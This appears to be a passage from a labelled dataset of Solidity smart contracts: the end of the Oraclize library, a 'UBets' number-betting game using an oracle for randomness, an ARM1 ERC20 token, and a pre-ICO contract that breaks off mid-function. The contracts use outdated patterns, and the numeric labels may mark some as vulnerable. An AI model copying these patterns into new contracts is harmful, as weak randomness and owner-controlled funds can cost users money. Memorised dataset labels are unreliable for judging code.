function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) view internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2])));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(context_name, queryId)))))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
contract UBets is usingOraclize {
address public owner;
struct Game {
uint bet;
uint max_players;
bool finish;
address[] players;
uint[] numbers;
uint[] uniq_numbers;
}
uint public min_bet = 0.1 ether;
uint constant public min_players = 2;
uint public max_players = 10;
uint constant public min_number = 0;
uint constant public max_number = 9;
uint public oraclize_gas_limit = 300000;
uint public commision = 10;
uint public referer_commision = 1;
Game[] public games;
mapping(bytes32 => uint) public await_finish;
mapping(address => address) public referers;
event NewGame(uint indexed game_id, address indexed author, uint bet, uint max_players);
event Bet(uint indexed game_id, address indexed addr, uint index, uint number);
event Play(uint indexed game_id, bytes32 indexed id);
event Winner(uint indexed game_id, address indexed winner, uint index, uint win);
event RefererPayout(uint indexed game_id, address indexed winner, address indexed referer, uint payout);
event GameOver(uint indexed game_id, uint[] numbers);
event Refund(uint indexed game_id, address indexed addr, uint bet);
event RefundGame(uint indexed game_id);
event Withdraw(address indexed to, uint value);
modifier onlyOwner() {
require(msg.sender == owner, "Access denied");
_;
}
constructor() public {
owner = msg.sender;
}
function() payable external {
}
function parseRes(string str) private pure returns(uint[] memory res) {
bytes memory bstr = bytes(str);
uint c = 0;
for(uint i = 0; i < bstr.length; i++) {
if(bstr[i] >= 0x30 && bstr[i] <= 0x39) c++;
}
res = new uint[](c);
uint p = 0;
for(i = 0; i < bstr.length; i++) {
if(bstr[i] >= 0x30 && bstr[i] <= 0x39) {
res[p] = uint(bstr[i]) - 48;
p++;
}
}
return res;
}
function inArray(uint[] memory arr, uint number) private pure returns(bool) {
for(uint i = 0; i < arr.length; i++) {
if(arr[i] == number) return true;
}
return false;
}
function __callback(bytes32 id, string res) public {
require(msg.sender == oraclize_cbAddress(), "Permission denied");
Game storage game = games[await_finish[id]];
require(game.bet > 0, "Game not found");
require(!game.finish, "Game over");
uint[] memory numbers = parseRes(res);
for(uint i = 0; i < numbers.length; i++) {
numbers[i] = game.uniq_numbers[numbers[i]];
}
_finishGame(await_finish[id], numbers);
delete await_finish[id];
}
function _joinGame(uint game_id, address player, uint bet, uint number, address referer) private {
require(games[game_id].bet > 0, "Game not found");
Game storage game = games[game_id];
require(!game.finish, "Game over");
require(bet == game.bet, "Insufficient funds");
require(game.max_players > game.players.length, "Bets are no longer accepted");
require(number >= min_number && number <= max_number, "Number does not match the interval");
require(!(game.max_players == game.players.length - 1 && game.uniq_numbers.length < 2 && inArray(game.uniq_numbers, number)), "Number already exists");
for(uint i = 0; i < game.numbers.length; i++) {
if(game.numbers[i] == number && game.players[i] == msg.sender) revert("Number already exists");
}
game.players.push(player);
game.numbers.push(number);
if(!inArray(game.uniq_numbers, number)) {
game.uniq_numbers.push(number);
}
if(referer != address(0) && referers[player] == address(0)) {
referers[player] = referer;
}
emit Bet(game_id, player, game.players.length - 1, number);
if(game.max_players == game.players.length) {
_playGame(game_id);
}
}
function _playGame(uint game_id) private {
require(games[game_id].bet > 0, "Game not found");
require(!games[game_id].finish, "Game over");
require(games[game_id].max_players == games[game_id].players.length, "The game has free slots");
require(oraclize_getPrice("URL") <= address(this).balance, "Insufficient funds");
bytes32 id = oraclize_query("WolframAlpha", strConcat("RandomInteger[{0,", uint2str(games[game_id].uniq_numbers.length - 1), "},", uint2str(games[game_id].uniq_numbers.length > 1 ? games[game_id].uniq_numbers.length - 1 : 1), "]"), oraclize_gas_limit);
await_finish[id] = game_id;
emit Play(game_id, id);
}
function _finishGame(uint game_id, uint[] memory numbers) private {
require(games[game_id].bet > 0, "Game not found");
Game storage game = games[game_id];
require(!game.finish, "Game over");
require(game.max_players == game.players.length, "The game has free slots");
require(numbers.length == (game.uniq_numbers.length > 1 ? game.uniq_numbers.length - 1 : 1), "Incorect winning numbers");
uint bank = (game.bet * game.max_players) - ((game.bet * game.max_players) * commision / 100);
uint num_payout = bank / numbers.length;
for(uint n = 0; n < numbers.length; n++) {
uint num_w = 0;
for(uint j = 0; j < game.numbers.length; j++) {
if(numbers[n] == game.numbers[j]) {
num_w++;
}
}
if(num_w > 0) {
uint payout = num_payout / num_w;
for(uint p = 0; p < game.players.length; p++) {
if(numbers[n] == game.numbers[p]) {
game.players[p].transfer(payout);
emit Winner(game_id, game.players[p], p, payout);
if(referers[game.players[p]] != address(0) && referer_commision > 0) {
uint referer_payout = payout * referer_commision / 100;
referers[game.players[p]].transfer(referer_payout);
emit RefererPayout(game_id, game.players[p], referers[game.players[p]], referer_payout);
}
}
}
}
}
game.finish = true;
emit GameOver(game_id, numbers);
}
function newGame(uint players, uint number, address referer) payable external {
require(msg.value >= min_bet, "Min bet of 0.1 ehter");
require(players >= min_players && players <= max_players, "Players does not match the interval");
require(number >= min_number && number <= max_number, "Number does not match the interval");
address[] memory players_arr;
uint[] memory numbers_arr;
uint[] memory uniq_numbers;
games.push(Game({
bet: msg.value,
max_players: players,
finish: false,
players: players_arr,
numbers: numbers_arr,
uniq_numbers: uniq_numbers
}));
emit NewGame(games.length - 1, msg.sender, msg.value, players);
_joinGame(games.length - 1, msg.sender, msg.value, number, referer);
}
function joinGame(uint game_id, uint number, address referer) payable external {
_joinGame(game_id, msg.sender, msg.value, number, referer);
}
function refundGame(uint game_id) onlyOwner external {
require(games[game_id].bet > 0, "Game not found");
Game storage game = games[game_id];
require(!game.finish, "Game over");
game.finish = true;
for(uint i = 0; i < game.players.length; i++) {
game.players[i].transfer(game.bet);
emit Refund(game_id, game.players[i], game.bet);
}
emit RefundGame(game_id);
}
function withdraw(address to, uint value) onlyOwner external {
require(address(this).balance >= value, "Insufficient funds");
to.transfer(value);
emit Withdraw(to, value);
}
function setMinBet(uint value) onlyOwner external {
min_bet = value;
}
function setMaxPlayers(uint value) onlyOwner external {
max_players = value;
}
function setCommision(uint value) onlyOwner external {
commision = value;
}
function setRefererCommision(uint value) onlyOwner external {
referer_commision = value;
}
function setOraclizeGasLimit(uint value) onlyOwner external {
oraclize_gas_limit = value;
}
function setOraclizeGasPrice(uint value) onlyOwner external {
oraclize_setCustomGasPrice(value);
}
function setOwner(address value) onlyOwner external {
require(value != address(0), "Zero address");
owner = value;
}
} | 0 | 597 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract ARM1Token is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function ARM1Token() public {
symbol = "ARM1";
name = "Armatura1";
decimals = 4;
_totalSupply = 50000000000;
balances[msg.sender] = _totalSupply;
Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,920 |
pragma solidity ^0.4.16;
contract Token {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused {
paused = false;
Unpause();
}
}
contract BillPokerPreICO is Ownable, Pausable {
using SafeMath for uint;
address public tokenWallet = 0xf91E6d611ec35B985bADAD2F0DA96820930B9BD2;
uint public tokensSold;
uint public weiRaised;
mapping (address => uint256) public holdTokens;
mapping (address => uint256) public purchaseTokens;
address[] public holdTokenInvestors;
Token public token = Token(0xc305fcdc300fa43c527e9327711f360e79528a70);
uint public constant minInvest = 0.0001 ether;
uint public constant tokensLimit = 25000000 ether;
uint256 public startTime = 1510339500;
uint256 public endTime = 1519689600;
uint public price = 0.0001 ether;
bool public isHoldTokens = false;
uint public investorCount;
mapping (bytes32 => Promo) public promoMap;
struct Promo {
bool enable;
uint investorPercentToken;
address dealer;
uint dealerPercentToken;
uint dealerPercentETH;
uint buyCount;
uint investorTokenAmount;
uint dealerTokenAmount;
uint investorEthAmount;
uint dealerEthAmount;
}
function addPromo(bytes32 promoPublicKey, uint userPercentToken, address dealer, uint dealerPercentToken, uint dealerPercentETH) public onlyOwner {
promoMap[promoPublicKey] = Promo(true, userPercentToken, dealer, dealerPercentToken, dealerPercentETH, 0, 0, 0, 0, 0);
}
function removePromo(bytes32 promoPublicKey) public onlyOwner {
